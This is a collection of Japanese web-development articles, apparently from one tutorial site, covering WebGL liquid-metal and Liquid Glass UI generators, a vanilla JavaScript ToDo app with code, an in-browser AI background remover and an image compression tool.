いずれも、ジェネレーターが出力する完成コードを起点にすれば自然と回避できる項目です。まず動く状態をコピーし、そこから色・速さ・数を引き算していくと破綻しません。 よくある質問（FAQ） Q. リキッドメタルボタンはCSSだけで作れますか？ 反射が連続的に流れる本格的な質感は、CSS単体では実用的に再現できません。linear-gradientとアニメーションで近似はできますが、ピクセル単位で反射を計算するWebGLには質感で及びません。手軽に作りたい場合は、WebGLで描くジェネレーターでコードを生成するのが現実的です。 Q. WebGLやGLSLの知識は必要ですか？ 不要です。ジェネレーターはシェーダーをあらかじめ内蔵しており、うねり・角度・速さ・色などをスライダーで調整するだけで質感が決まります。GLSLを自分で書くのは、内蔵の表現では足りず独自のシェーダーを作りたくなった段階で十分です。 Q. 出力したコードは商用サイトでそのまま使えますか？ 使えます。生成されるコードはMITライセンスで、商用サイトでも自由に利用できます。WebGLの描画エンジンまで含む自己完結コードのため、外部ライブラリの読み込みやnpmの導入は不要です。HTMLに貼り付けるだけで動きます。 Q. パフォーマンスへの影響はどのくらいですか？ 描画はGPUが担うためCPU負荷は小さいですが、ボタンごとに常時更新されるcanvasが増える点に注意が必要です。1画面に多数並べるとモバイル端末でフレームレート低下やバッテリー消費の増加につながります。主役のCTAなど1〜数個に絞り、不要な場面では速さを0にして静止させるのが安全です。 Q. React や Next.js でも使えますか？ 使えます。生成されるのは特定フレームワークに依存しないバニラのHTML/CSS/JSのため、React・Next.js・Vueなどどの環境にも組み込めます。 ### [Apple風の屈折ガラスをWebGLで生成するLiquid Glassジェネレーター｜使い方ガイド](https://codequest.work/liquid-glass-generator-tool/) Liquid Glassジェネレーターは、AppleのiOS 26で採用された液体ガラス（Liquid Glass）風のUIを、WebGLでコード生成できる無料ツールです。インストールも会員登録も不要で、形状・ぼかし・縁の光・色収差などをスライダーで調整すると、そのままWebサイトに貼れるコードが自動で書き出されます。最大の特徴は、CSSのbackdrop-filterだけでは表現できない背景の「屈折（歪み）」までGLSLシェーダーで再現することです。 See the Pen liquid-glass-WebGL by masakazuimai (@masakazuimai) on CodePen. Liquid Glassの「ガラスらしさ」は、半透明とぼかしだけでは出ません。本物のガラス越しに見える景色は、レンズのように背景が歪んで見えます。ところがCSSのbackdrop-filterでできるのは背景のぼかしや明度調整までで、背景そのものを屈折させる表現は標準のCSSプロパティでは作れません。そのため「CSSで作ったLiquid Glassが、どこか平面的でガラスに見えない」という壁にぶつかりがちです。 この記事では、CodeQuest.workのLiquid Glassジェネレーターでできることと、形状の選び方から光学効果パラメータの調整、生成コードの仕組み、自分のサイトへの組み込みまでを順番に解説します。CSSだけで作る方法とWebGLツールで作る方法の使い分けも整理するので、用途に合わせて選べるようになります。 このツールでできること Liquid Glassジェネレーター（無料・ブラウザ完結）は、Apple風の液体ガラスUIを視覚的に調整して、実装用コードを書き出すツールです。できることを整理すると次のとおりです。 項目できること形状の選択ボタン・カード・ピル・円の4種類からガラスの形を選ぶ背景画像の差し替え任意の画像をアップロードし、その上でガラスの見え方を確認光学効果の調整屈折の強さ・すりガラス・縁の光・色収差・縁の厚み・角丸を個別に調整ティントガラスに乗せる色味（ティント濃度）を調整リアルタイムプレビュープレビュー上でガラスをドラッグして移動し、背景との重なりを確認コード生成・コピー調整した状態のWebGLコードを自動生成し、ワンクリックでコピー ポイントは、コードを一行も書かずに屈折ガラスの見た目を詰められることです。シェーダーのパラメータを手で書き換えながら調整するのは骨が折れますが、スライダーでリアルタイムに結果を見ながら追い込み、決まったらコードを書き出すだけで済みます。 CSSのbackdrop-filterでは「屈折」は作れない — WebGLで再現する このツールの核心は、純粋なCSSでは不可能な「屈折」をWebGLのGLSLシェーダーで再現している点にあります。ここが、CSSで作るガラスモーフィズムとの決定的な違いです。 CSSのbackdrop-filterでできるのは、要素の背後に対するぼかし（blur）・明度・彩度・コントラストなどのフィルター処理です。これで「すりガラス」風の半透明UIは作れますが、背景のピクセルを移動させて歪ませる＝レンズのような屈折は、フィルターの仕様上どうしても再現できません。背景が歪まないため、CSSだけのガラスはのっぺりと平面的に見えがちなのです。 一方このツールは、背景画像をWebGLのcanvasに描画し、ガラス領域のピクセルをシェーダーで意図的にずらすことで屈折を表現します。縁に近いほど大きく歪ませる、わずかに色をずらして色収差を出す、といったガラス特有の光学現象まで作り込めるため、CSSでは届かない「本物のガラスらしさ」に近づけられます。WebGLはcaniuse.comによると主要ブラウザでほぼ全面的にサポートされており、特別なプラグインなしで動作します。 逆に言えば、屈折まで要らず半透明のすりガラスで十分なら、CSSだけで作るほうが軽量で手軽です。その作り方はiOS風「Liquid Glass」をWebで再現する方法（CSS・Tailwind実装）で解説しています。本記事のツールは「CSSでは出せない屈折まで作り込みたい」場合の選択肢です。 基本の使い方【4ステップ】 操作は視覚的で、シェーダーやWebGLの知識がなくても扱えます。基本の流れは次の4ステップです。 形状を選ぶ — ボタン・カード・ピル・円から、作りたいUIに合う形を選びます 背景画像をアップロード — 「画像をアップロード」から、実際に使う背景に近い画像を読み込みます（屈折の見え方は背景で大きく変わるため） 光学効果を調整する — 屈折の強さ・すりガラス・縁の光・色収差・縁の厚み・角丸・ティント濃度を、プレビューを見ながらスライダーで詰めます コードを生成してコピー — プレビュー上でガラスをドラッグして配置を確認し、納得できたらコードを生成してコピーします プレビューはリアルタイムに反映されるので、まずは各スライダーを大きく動かして変化を確認し、そこから好みの値に寄せていくと早く決まります。まずは手元の画像で試してみてください。 Liquid Glassジェネレーターを使ってみる（無料） 形状とテキスト — ボタン・カード・ピル・円 形状は、Webで実際に使うパーツに合わせて4種類から選べます。用途の目安は次のとおりです。 形状向いている用途ボタンCTA・操作ボタン。テキストを乗せたガラスボタンにカード情報カード・モーダル・パネルの背景ピルタグ・トグル・ナビゲーションのセグメント円アイコンボタン・フローティングボタン（FAB） テキストを表示する形状では「文字サイズ」で大きさを調整できます。ガラス越しに見える文字は背景とコントラストが付きにくいため、ボタンやピルでは文字サイズをやや大きめにし、後述の縁の光やティントで視認性を補うとバランスが取りやすくなります。 光学効果の調整 — 屈折・ぼかし・縁の光・色収差 ガラスらしさを決めるのが光学効果のパラメータ群です。それぞれが見た目に与える役割を理解すると、狙った質感に最短で寄せられます。 パラメータ役割上げると屈折の強さ背景をレンズのように歪ませる量立体的でガラスらしくなる（強すぎると歪み過多）すりガラス（ぼかし）ガラス領域全体のぼかし背景がぼやけてフロスト感が増す縁の光（スペキュラ）縁の鏡面ハイライトの強さエッジが光り、輪郭が際立つ色収差わずかな色ズレ（RGBの分離）レンズのようなリアルな質感になる縁の厚みガラス縁部の厚さ分厚いガラスの印象になる角丸コーナーの丸み柔らかい印象に（iOS系UIは大きめが定番） iOS 26のLiquid Glassに寄せたいなら、屈折は中程度・縁の光をしっかり・色収差は控えめ・角丸は大きめが出発点として扱いやすい組み合わせです。屈折と色収差を上げすぎると装飾過多になり、肝心のコンテンツが読みにくくなるので、効果は「気づくか気づかないか」くらいに抑えるのがガラスUIのコツです。 ティントと背景画像の設定 「ティント濃度」はガラスに乗せる色味の強さです。薄く乗せるとブランドカラーをほのかに反映でき、濃くするとコンテンツの可読性が上がります。背景が複雑で文字が読みにくいときは、ティントをやや濃いめにすると視認性とデザイン性を両立できます。 屈折ガラスの見え方は背景に強く依存します。無地の背景だと屈折がほとんど分からず、写真やグラデーションなど明暗・色の変化がある背景ほどガラスらしさが際立ちます。そのため、調整時は実際のサイトで使う背景に近い画像をアップロードして確認するのが重要です。デモ用のきれいな背景で詰めても、本番の単色背景では効果が消えてしまう、という事故を防げます。 生成されるコードの仕組み このツールが書き出すのは、軽量なWebGLライブラリoglをCDNから読み込む自己完結型のスニペットです。フレームワークやビルド環境は不要で、HTMLにそのまま貼り付ければ動きます。 仕組みを大まかに説明すると、次のような流れです。 oglのモジュールをCDNから読み込み、WebGLのcanvasを生成する 指定した背景画像をテクスチャとしてcanvasに描画する ガラス領域のピクセルを、調整した屈折・色収差・縁の光のパラメータでずらすGLSLシェーダーを適用する 形状（ボタン・カード・ピル・円）と角丸に合わせてガラスの輪郭をマスクする 生成コードには「backgroundのURLをご自身の画像に差し替えてください」という注記が含まれます。プレビューで使った画像はあくまで確認用なので、実装時は本番の背景画像のURLに置き換える点だけ覚えておけば大丈夫です。 自分のサイトに組み込む手順 コピーしたコードをサイトに組み込む流れはシンプルです。 コードを貼り付ける — 生成されたスニペットを、ガラスを表示したい場所のHTMLに貼り付けます 背景画像のURLを差し替える — コード内のbackground画像のURLを、本番で使う画像のパスに変更します 表示位置とサイズを調整する — canvasの配置やサイズをCSSで調整し、レイアウトに馴染ませます WebGLのcanvasで描画するため、既存のCSSレイアウトと重ねる場合はpositionやz-indexでの重なり順の調整が必要になることがあります。実装後は、本番に近い背景・端末で見え方を確認しておくと安心です。 CSS実装とWebGLツールの使い分け Liquid Glassは「CSSで作る」「WebGLツールで作る」のどちらが正解というものではなく、求める質感とコストで使い分けるのが現実的です。判断の目安を表にまとめます。 観点CSS実装（backdrop-filter）WebGLツール（本記事）屈折（背景の歪み）不可再現できるすりガラス・半透明得意再現できる動作の軽さ軽いWebGL描画のぶん負荷は高め実装の手軽さCSSのみで完結canvas配置の調整が必要向いている場面多数配置・シンプルなガラスUIヒーローやアクセントで本物感を出したい ナビゲーションやカードのように数を多く置くUIはCSSで軽量に、ファーストビューの主役やアクセントとして本物のガラスらしさを見せたい1〜2箇所はWebGLツールで、と組み合わせるのが落としどころです。CSSだけで作る具体的な手順はiOS風「Liquid Glass」をWebで再現する方法を参照してください。 注意点・制限事項 使い始める前に、WebGLで描画するツールならではの制約を押さえておくと迷いません。 WebGL対応ブラウザが前提 — 主要ブラウザはほぼ対応済みだが、WebGLが無効な環境ではフォールバック表示の検討が必要 多用するとパフォーマンスに影響する — canvas描画は負荷があるため、ページ内で多数並べるのは避け、アクセントとして使う 背景は実装時に差し替える — プレビューの画像は確認用。本番ではbackgroundのURLを自分の画像に変更する 可読性を最優先する — 屈折や色収差を強くしすぎると、ガラス越しのテキストが読みにくくなる。効果は控えめに調整する iOS 26のLiquid GlassそのものとWeb実装には差があるため、「完全な再現」ではなく「Webで十分にガラスらしく見せる」ことを目標にすると、現実的なバランスに落とし込めます。 ガラスUIができたら、SEOで見つけてもらう 思いどおりのLiquid Glass UIができてサイトの見た目が仕上がったら、次は「そのページが検索で見つけてもらえるか」を確認するのが次の一手です。デザインが良くても、タイトルやメタ情報、構造化データに穴があると、検索結果にうまく出てきません。 Direbase（ディレベース）なら、URLを入れるだけでページのSEOスコアと改善ポイントがその場で分かります。 ### [JavaScriptで作るミニアプリ4選｜ToDo・電卓・クイズ・ストップウォッチ](https://codequest.work/javascript-mini-apps/) JavaScriptの基礎文法を覚えても「で、結局なにを作れるの？」で止まってしまう人は多いはずです。JavaScriptだけ（フレームワークなし）で作れる小さなアプリは、ToDoリスト・電卓・クイズ・ストップウォッチなど、数十行のコードで完成するものがたくさんあります。手を動かして1つ作りきると、バラバラだった文法知識が一本の線でつながります。 本記事では、バニラJSで作るミニアプリを4つ、HTML・CSS・JavaScriptのコード付きで、ステップを追って作ります。基礎文法がまだの方は JavaScript練習問題23選（基礎文法編） から始めてください。各アプリには「発展・次の一手」も付けたので、作って終わりではなく自分で改造するところまで進めます。 JavaScript練習問題シリーズ テーマ別の練習問題はこちら。基礎を固めてから、本記事のアプリ制作に進むのがおすすめです。 基礎文法 23問 DOM操作 10問 配列メソッド 10問 非同期処理 10問 バグ修正・デバッグ 12問 ミニアプリ制作 4選（この記事） この記事の対象と進め方 対象は、変数・関数・配列・条件分岐とDOM操作の基礎を理解した、初級〜中級の学習者です。次の手順で進めると、コピペで終わらず「自分で書ける」状態に近づきます。 完成イメージと「使う知識」を読み、何が必要かを把握する HTML・CSSを用意し、JavaScriptを上から順に写経して動かす 一度動いたら、解答を閉じて「発展・次の一手」を自力で実装する コードはHTMLファイルに <script> として書くか、CodePen などのオンラインエディタに貼れば、その場で動かせます。 ① ToDoリスト（localStorageで保存） やることを追加・完了・削除でき、ブラウザを閉じても残るToDoアプリです。状態管理とデータの永続化（localStorage）という、実務アプリの土台になる考え方が一通り体験できます。 使う知識 addEventListener によるイベント処理 DOMの動的生成（createElement / appendChild） 配列の push / filter localStorage と JSON.stringify / parse HTML <div class="todo-app"> <form id="todo-form"> <input id="todo-input" type="text" placeholder="やることを入力" /> <button type="submit">追加</button> </form> <ul id="todo-list"></ul> </div> CSS（最小限） .todo-app { max-width: 400px; margin: 0 auto; } #todo-list li { display: flex; justify-content: space-between; padding: 8px; border-bottom: 1px solid #ddd; } #todo-list li.done span { text-decoration: line-through; color: #999; } JavaScript const form = document.getElementById('todo-form'); const input = document.getElementById('todo-input'); const list = document.getElementById('todo-list'); // localStorageから読み込み（なければ空配列） let todos = JSON.parse(localStorage.getItem('todos')) || []; function save() { localStorage.setItem('todos', JSON.stringify(todos)); } function render() { list.innerHTML = ''; todos.forEach((todo, index) => { const li = document.createElement('li'); if (todo.done) li.classList.add('done'); const span = document.createElement('span'); span.textContent = todo.text; // クリックで完了状態を切り替え span.addEventListener('click', () => { todos[index].done = !todos[index].done; save(); render(); }); const del = document.createElement('button'); del.textContent = '削除'; del.addEventListener('click', () => { todos = todos.filter((_, i) => i !== index); save(); render(); }); li.append(span, del); list.appendChild(li); }); } form.addEventListener('submit', (e) => { e.preventDefault(); // 送信でのリロードを防ぐ const text = input.value.trim(); if (!text) return; // 空入力は無視 todos.push({ text, done: false }); input.value = ''; save(); render(); }); render(); // 初期表示 ポイント：状態（todos配列）を「唯一の正しいデータ」とし、変更のたびに save() → render() を呼ぶ設計にすると、画面とデータが必ず一致します。localStorageは文字列しか保存できないため、JSON.stringify で保存し JSON.parse で復元します。form の submit では e.preventDefault() でリロードを止めるのを忘れないようにしましょう。 発展・次の一手：編集機能、期限の追加、ドラッグ＆ドロップでの並べ替えに挑戦してみましょう。次の段階としてフレームワークに進むなら、同じToDoを Reactで作るTODOアプリ で作り直すと、状態管理の考え方の違いがよく分かります。localStorageの仕組みは Web Storageの使い分け も参考に。 ② 電卓 四則演算ができるシンプルな電卓です。イベント委譲と状態管理という、UI開発で何度も使う考え方が身につきます。 ### [AIで背景透過・被写体の切り抜きがブラウザで完結する無料ツール｜使い方ガイド](https://codequest.work/bg-remover-tool/) AI背景透過ツールは、画像をドラッグ&ドロップするだけでAIが人物・商品・動物などの被写体を自動検出し、背景だけを削除して透過PNG・WebPで保存できる無料ツールです。範囲指定やペンでのなぞり作業は不要で、会員登録も回数制限もありません。AIの処理はすべてブラウザ内で実行されるため、画像が外部サーバーに送信されることもありません。 ブラウザだけで背景透過するなら、インストール不要で画像を外部に送信しないブラウザ完結型のツールが最も手軽で安全です。本ツールはブラウザ上でAIが被写体を検出し、背景を透過したPNG・WebPをその場で書き出せます。Windows・Mac・スマホのいずれも、ブラウザがあれば専用ソフトのインストールなしで使えます。 AI背景透過ツールを使ってみる（無料） ECサイトの商品画像、ブログのアイキャッチ、資料に貼る人物写真——「背景だけ消したい」という場面はWeb制作の現場で頻繁に発生します。しかしオンラインの背景削除サービスの多くは無料枠が数枚で打ち止めになったり、高解像度出力が有料だったりと、業務で使うには制約がつきまといます。さらにアップロード型のサービスでは、クライアントの未公開素材を外部サーバーに送ることへの不安も残ります。 この記事では、CodeQuest.workのAI背景透過ツールでできることと具体的な使い方を解説します。出力形式の選び方、きれいに切り抜ける画像の条件、単色背景透過ツールとの使い分け、切り抜いた後の軽量化まで、実務でそのまま使える形でまとめます。 このツールでできること AI背景透過ツール（無料・ブラウザ完結）は、AIによる被写体の自動切り抜きに特化したツールです。できることを整理すると次のとおりです。 機能できることAI被写体切り抜き人物・商品・動物などをAIが自動検出し、背景だけを削除（範囲指定・ペン操作不要）入力形式JPG・PNG・WebPに対応、複数枚の同時読み込み可出力形式透過PNG・透過WebP・白背景JPGから選択（WebP/JPGは品質調整可）一括処理複数画像をまとめて切り抜き、ZIPで一括ダウンロードプライバシー保護AI処理はすべてブラウザ内で実行、画像はサーバーに送信されない ポイントは、完全無料で回数制限がないことです。オンラインの背景削除サービスにありがちな「無料は月数枚まで」「高解像度は有料」といった制約がなく、何枚でも・元画像の解像度のまま切り抜けます。AI切り抜きエンジンには、オープンソースとして公開されているIMG.LYの@imgly/background-removalを採用しています。 画像はサーバーに送信されない — ブラウザ内でAIが動く仕組み このツールの最大の特徴は、AIによる切り抜き処理のすべてがブラウザ内（お使いの端末上）で完結することです。一般的なAI背景削除サービスは画像を一度サーバーにアップロードしてAIで処理しますが、このツールはAIモデル自体をブラウザにダウンロードして端末上で推論を実行するため、画像データが外部に出ることは一切ありません。 通信が発生するのは、初回利用時のAIモデル本体のダウンロード（約40MB・初回のみ）だけです。最初の画像を選択した時点でダウンロードが自動的に始まり、2回目以降はブラウザのキャッシュが使われるため、すぐに処理が始まります。 機密性の高い画像も扱える — クライアントの未公開商品写真や社内資料の人物写真など、外部に出せない画像も安心して処理できる アップロード待ちがない — 画像の転送が発生しないため、高解像度の写真でも転送時間ゼロで処理が始まる 枚数制限・解像度制限がない — サーバー資源を使わないため、無料サービスにありがちな課金制限が存在しない 仕事でクライアントの素材を扱うWeb制作者にとって、「外部サーバーに送らない」ことはツール選定の明確な判断基準になります。納品物に使う商品画像の切り抜きにもそのまま使えます。 ブラウザ完結型・インストール型・サーバー送信型の違い 背景透過のやり方は大きく3タイプに分かれます。「ブラウザだけで背景透過したい」「画像を外部に送りたくない」という条件では、インストール不要で端末内処理が完結するブラウザ完結型が最も相性の良い選択肢です。 項目ブラウザ完結型（本ツール）インストール型ソフトサーバー送信型オンラインサービスインストール不要（ブラウザで開くだけ）必要（数百MB〜）不要画像の外部送信なし（端末内で処理）なしあり（アップロード必須）無料での枚数無制限買い切り／サブスク月数枚で上限・高解像度は有料が多いオフライン利用初回読み込み後は可可不可向いている人手早く・未公開素材も安全に切り抜きたい手動レタッチまで詰めたい1〜2枚を今すぐ処理したい 本ツールはブラウザ完結型に該当し、インストールも画像のアップロードも不要です。専用ソフトの導入コストや、無料オンラインサービスにありがちな枚数制限・外部送信のリスクを避けつつ、ブラウザだけで背景透過を完結できます。 基本の使い方【4ステップ】 操作はドラッグ&ドロップ中心で、画像編集の知識は一切不要です。基本の流れは次の4ステップです。 画像をドラッグ&ドロップ — またはクリックしてファイルを選択します（複数選択可・JPG / PNG / WebP 対応）。初回はこの時点でAIモデルのダウンロードが自動で始まります 出力形式を選ぶ — 透過PNG・透過WebP・白背景JPGから選択します。WebPとJPGでは品質スライダーでファイルサイズを調整できます 「背景を透過にする」を押す — AIが1枚ずつ被写体を検出して切り抜きます。進行状況は画面で確認できます ダウンロードする — 1枚ずつでも、ZIPでまとめてでも保存できます。ファイル名は「元の名前_nobg」で書き出されます 切り抜き結果はその場でプレビューされるため、仕上がりを確認してから保存できます。まずは手元の写真で試してみてください。 出力形式の選び方 — 透過PNG・WebP・白背景JPG 切り抜いた画像は3つの形式で保存できます。用途別の使い分けは次のとおりです。 形式透過向いている用途PNG（透過）○デザインツールへの取り込み、資料への貼り付け。画質劣化なしの標準選択WebP（透過）○Webサイトへの掲載。透過を保ったままPNGよりファイルサイズを小さくできるJPG（白背景）×（白で塗りつぶし）透過が不要で、とにかく軽くしたい場合。ECモールなど白背景指定の入稿用 迷ったら透過PNGを選んでおけば間違いありません。Webページにそのまま載せる画像なら、透過WebPにすると軽さと透過を両立できます。なおJPGは形式の仕様上、透過情報を保持できないため、背景部分は自動的に白で塗りつぶされます。 品質スライダーはWebP・JPG出力時のみ表示される 品質スライダー（1〜100）はWebPとJPGを選んだときだけ表示されます。PNGは可逆圧縮のため品質パラメータを持たない、という形式の特性をそのまま反映した挙動です。Webに載せる画像なら品質80前後が画質とサイズのバランスの目安です。 きれいに切り抜ける画像・苦手な画像 AIによる被写体検出には得意・不得意があります。事前に知っておくと、「思ったように抜けない」と悩む時間を減らせます。 得意な画像苦手な画像被写体と背景の境界がはっきりした写真背景と被写体の色が溶け合った写真人物のポートレート・全身写真細い髪の毛が広がっている写真商品の物撮り（小物・家電・衣類など）ガラス・煙など半透明のもの動物・乗り物など輪郭が明確な被写体群衆など被写体が多数で主役が曖昧な写真 実務で使う商品写真やプロフィール写真の多くは「得意な画像」側に入るため、たいていはワンクリックで実用レベルの切り抜きになります。元画像が小さすぎて輪郭がつぶれている場合は、画像高画質化ツールで先に大きくしてから切り抜くと、境界のギザギザが目立ちにくくなります。撮影段階で被写体と背景のコントラストを確保しておく（白壁・無地の背景の前で撮るなど）と、AIの検出精度はさらに安定します。 単色背景透過との使い分け — ロゴは画像圧縮ツール、写真はこのツール 「背景透過」とひと口に言っても、実は2種類の処理があります。同シリーズの画像圧縮・WebP変換ツールにも「単色背景の透過」機能がありますが、得意分野がまったく異なります。 やりたいこと使うツール処理の仕組み白背景のロゴ・図版を透過にしたい画像圧縮・WebP変換ツール（単色背景透過）外周とつながった単色の背景だけを透過化。ロゴのエッジがシャープに残る写真から人物・商品を切り抜きたいAI背景透過ツール（このツール）AIが被写体そのものを検出。背景が複雑な写真でも切り抜ける 判断基準はシンプルで、対象がロゴ・図版なら単色背景透過、写真ならAI背景透過です。白背景のロゴをAIで切り抜くと、ロゴを「被写体」として解釈する過程でエッジがわずかに揺れることがあります。逆に、複雑な背景の写真は単色透過では原理的に処理できません。それぞれの得意分野で使い分けてください。 一括処理 — 複数枚まとめて切り抜いてZIPでダウンロード 画像は複数枚を同時にドロップでき、同じ出力設定でまとめて切り抜かれます。処理後は1枚ずつのダウンロードに加えて、「ZIPで一括ダウンロード」で全ファイルを一度に保存できます。 ECサイトの商品写真を数十点まとめて白抜きにする、イベント写真から登壇者を一括で切り抜くといった反復作業に向いています。AIの処理はメモリ消費を抑えるため1枚ずつ順番に実行され、進行状況が画面に表示されるので、処理中も安心して待てます。 活用シーン — EC・ブログ・資料作成まで 「背景を消す」だけの単機能ですが、使いどころは想像以上に広いです。代表的なシーンを挙げます。 EC・商品画像 — 物撮り写真の背景を白抜きにして、商品一覧の見た目を統一。白背景JPG出力ならモールの入稿規定にもそのまま対応 ブログ・アイキャッチ — 人物や商品を切り抜いて、背景色やグラデーションと組み合わせたサムネイルを作成 プロフィール写真 — SNSアイコンやサイトのメンバー紹介用に、人物だけを切り抜いて背景を差し替え プレゼン資料・バナー — 写真素材から必要な被写体だけを抜き出して、スライドやバナーのレイアウトに自由に配置 切り抜いた透過素材は、デザインツールに取り込めばそのまま合成に使えます。「写真の加工はデザイナーに依頼するほどではないが、自分でやるには面倒」という規模の作業を、ブラウザだけで片付けられるのがこのツールの立ち位置です。 注意点・制限事項 使い始める前に、ブラウザ完結型ならではの特性を押さえておくと迷いません。 初回はAIモデルのダウンロードが必要 — 約40MBのモデルを初回のみダウンロードする。2回目以降はキャッシュが使われるため待ち時間はほぼゼロ 処理速度は端末性能に依存する — AI推論を端末上で実行するため、処理時間はPC・スマホのスペックに左右される。大量処理はPCのブラウザが快適 JPG出力は透過にならない — JPGは透過情報を持てないため、背景は白で塗りつぶされる。透過が必要ならPNGかWebPを選ぶ 細部の精度には限界がある — 細い髪の毛・半透明のもの・背景と溶け合った輪郭は粗くなる場合がある。商用の大判印刷など高精度が必要な場面では、仕上がりを確認してから使う PNG・WebP・JPGそれぞれの形式特性（透過の可否・圧縮方式の違い）を基礎から押さえたい場合は、MDNの画像ファイルの種類と形式ガイドが網羅的で信頼できます。 切り抜いた後の仕上げ — 軽量化とSEOチェック 切り抜いた透過PNGは、ピクセル数のわりにファイルサイズが大きくなりがちです。 ### [画像圧縮・WebP変換・切り抜きがブラウザで完結する無料ツール｜使い方ガイド](https://codequest.work/image-compressor-tool/) 画像圧縮・WebP変換ツールは、JPG・PNG・WebP・AVIF・SVGの圧縮・形式変換・リサイズ・切り抜きがブラウザだけで完結する無料ツールです。インストールも会員登録も不要で、画像はサーバーに送信されず、すべてお使いの端末内で処理されます。ブログのWebP化からOGP画像の切り抜き、アイコン用の正円トリミングまで、Web制作で日常的に発生する画像まわりの作業をこれひとつでこなせます。 画像の軽量化はページ表示速度（Core Web Vitals）に直結する重要な作業ですが、実際の現場では「圧縮はこのサイト、WebP変換は別のサイト、切り抜きはデザインツールを起動して…」とツールを行き来しがちです。さらにオンライン圧縮サービスの多くはアップロード型のため、クライアントの未公開素材や社内資料を外部サーバーに送ることへの不安もつきまといます。 この記事では、CodeQuest.workの画像圧縮・WebP変換ツールでできることと、圧縮・変換・切り抜きそれぞれの具体的な使い方を解説します。品質設定の目安、OGPやSNSテンプレートでの切り抜き、背景透過、ZIP一括ダウンロードまで、ブログ運営とWeb制作の実務でそのまま使える形でまとめます。 このツールでできること 画像圧縮・WebP変換ツール（無料・ブラウザ完結）は、画像まわりの定番作業をひとまとめにしたツールです。できることを整理すると次のとおりです。 機能できること対応形式画像圧縮品質を指定して軽量化（PNGは減色処理）JPG・PNG・WebP・AVIF形式変換JPG・PNG・WebP・AVIFの相互変換、SVGの読み込みとSVG化JPG・PNG・WebP・AVIF・SVGリサイズ・切り抜き自由サイズ縮小、テンプレートサイズ切り抜き、正円切り抜きすべて背景透過白背景など単色背景の透過化PNG・WebP・SVG出力EXIF除去撮影日時・カメラ機種・GPS位置情報を変換時に自動で除去すべて（自動）一括処理複数画像をまとめて変換しZIPでダウンロードすべて ポイントは、これらを1回の操作で同時に適用できることです。たとえば「OGPサイズに切り抜きながらWebPに変換して圧縮する」という3つの作業が、設定を選んでボタンを1回押すだけで終わります。複数のサイトを行き来する必要はありません。 画像はサーバーに送信されない — ブラウザ完結の安全性 このツールの最大の特徴は、画像の読み込み・圧縮・変換のすべてがブラウザ内（お使いの端末上）で完結することです。一般的なオンライン圧縮サービスは画像を一度サーバーにアップロードして処理しますが、このツールは画像データを外部に一切送信しません。 ブラウザ完結であることのメリットは、安全性だけではありません。 機密性の高い画像も扱える — クライアントの未公開デザインカンプや社内資料のスクリーンショットなど、外部に出せない画像も安心して処理できる アップロード待ちがない — 通信を介さないため、大きな画像でも転送時間ゼロで処理が始まる 枚数制限・容量制限がない — サーバー資源を使わないため、一度に処理できる枚数に課金制限がない 仕事でクライアントの素材を扱うWeb制作者にとって、「外部サーバーに送らない」ことはツール選定のうえで明確な判断基準になります。納品前の素材整理にもそのまま使えます。 さらに、変換時には撮影日時・カメラ機種・GPS位置情報などのEXIF情報が自動ですべて除去されます。画像を一度分解して再構成する処理の特性上、メタデータは引き継がれません。スマホで撮影した写真も、自宅や職場の位置情報が残る心配なくブログやSNSに掲載できます。 基本の使い方【4ステップ】 操作はドラッグ&ドロップ中心で、迷う要素はほとんどありません。基本の流れは次の4ステップです。 画像をドラッグ&ドロップ — またはクリックしてファイルを選択します（複数選択可・JPG / PNG / WebP / AVIF / SVG対応） 出力形式と品質を選ぶ — 「元の形式のまま圧縮」か、JPG・PNG・WebP・SVGへの変換を選び、品質スライダーを調整します 必要ならリサイズ・切り抜きを設定 — 自由サイズかテンプレートサイズを選びます（不要ならスキップ） 「変換・圧縮を実行」を押してダウンロード — 変換前後のファイルサイズと削減率が表示され、1枚ずつでもZIP一括でも保存できます 変換結果には「1.2 MB → 280 KB -77%」のように削減率が表示されるため、品質設定を変えて何度か試し、サイズと見た目のバランスを確認しながら詰められます。まずは手元の画像で試してみてください。 画像圧縮・WebP変換ツールを使ってみる（無料） 画像圧縮 — 品質設定の目安とPNGの減色処理 圧縮の強さは品質スライダー（1〜100）で調整します。数値が低いほどファイルサイズは小さくなりますが、下げすぎると画質の劣化が目に見えてきます。用途別の目安を押さえておくと迷いません。 品質は70〜80が基本ライン ブログやWebサイトに載せる画像であれば、品質70〜80が基本ラインです。この範囲なら見た目の劣化はほぼ分からないまま、ファイルサイズを大きく削減できます。用途別の目安は次のとおりです。 用途品質の目安考え方ブログ・記事内画像70〜80劣化がほぼ分からず、サイズと画質のバランスが最良写真ギャラリー・作品紹介80〜90ディテール重視。サイズより見た目を優先サムネイル・一覧用50〜70小さく表示されるため低めでも問題なし PNGは減色処理で大幅にサイズダウン PNGは本来ロスレス（可逆）形式のため品質パラメータを持ちませんが、このツールでは品質設定に応じて色数を自動調整する減色処理を行います。スクリーンショットやフラットなUI画像のように使用色数が少ない画像では、見た目をほぼ保ったままファイルサイズを大幅に削減できます。品質90以上に設定すれば減色なしのロスレス圧縮になるため、画質を一切落としたくない場合は90以上を指定してください。 形式変換 — ブログ画像はWebP化でPageSpeed対策 出力形式で「WebP に変換」を選べば、JPGやPNGをワンクリックでWebP化できます。WebPは同じ画質でもファイルサイズを小さくできる画像形式で、Googleの公式ドキュメントによると、非可逆圧縮のWebPは同等画質のJPEGより25〜34%小さくなります。主要ブラウザはすべてWebP表示に対応済みです。 画像の軽量化はLCP（最大コンテンツの描画）の改善に直結するため、PageSpeed Insightsで「次世代フォーマットでの画像の配信」を指摘されたら、まずWebP化から着手するのが定石です。ページ速度改善の全体像はページ速度改善の方法（Core Web Vitalsをコードで最適化）で体系的に解説しています。 AVIF変換 — WebPよりさらに軽くしたいときに 出力形式で「AVIF に変換」を選べば、WebPよりさらに圧縮率の高い次世代形式AVIFに変換できます。Can I useによると、Chrome・Safari・Firefox・Edgeの主要ブラウザはすべてAVIF表示に対応済みです。エンコード処理が重いため変換には1枚あたり数秒かかることがありますが、同じ品質設定ならWebPより小さくなることが多く、徹底的に軽くしたいページに向いています。互換性と変換速度を最優先するならWebP、より軽さを求めるならAVIFが使い分けの目安です。 SVG変換はロゴ・イラスト向き SVGの読み込み（PNG・JPG化）と、画像のSVG化の両方向に対応しています。ただしSVGは図形の集まりで画像を表現するベクター形式のため、SVG化が向くのはロゴ・アイコン・イラストなど色数の少ない画像です。写真をSVG化すると切り絵のような仕上がりになり、ファイルサイズもかえって大きくなることがあります。デザイナーからPNGロゴしか支給されなかったときの応急SVG化、といった使い方が現実的です。 リサイズ・切り抜き — 